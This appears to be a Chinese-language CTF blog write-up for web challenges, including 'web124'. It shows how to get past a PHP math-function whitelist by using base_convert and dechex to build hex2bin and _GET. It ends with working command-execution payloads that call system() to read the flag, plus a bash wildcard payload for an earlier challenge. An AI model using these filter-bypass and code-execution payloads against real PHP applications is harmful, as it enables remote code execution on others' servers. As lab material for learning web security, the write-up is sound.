用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

出现4的几率虽然小,但是是有可能的,不断刷新即可
payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数

base_convert(number,frombase,tobase);
参数    描述
number        必需。规定要转换的数。
frombase    必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase        必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10);
结果  37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

现在我们要做的就是反过来了

base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET

c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换
payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*





标签: none

暂无评论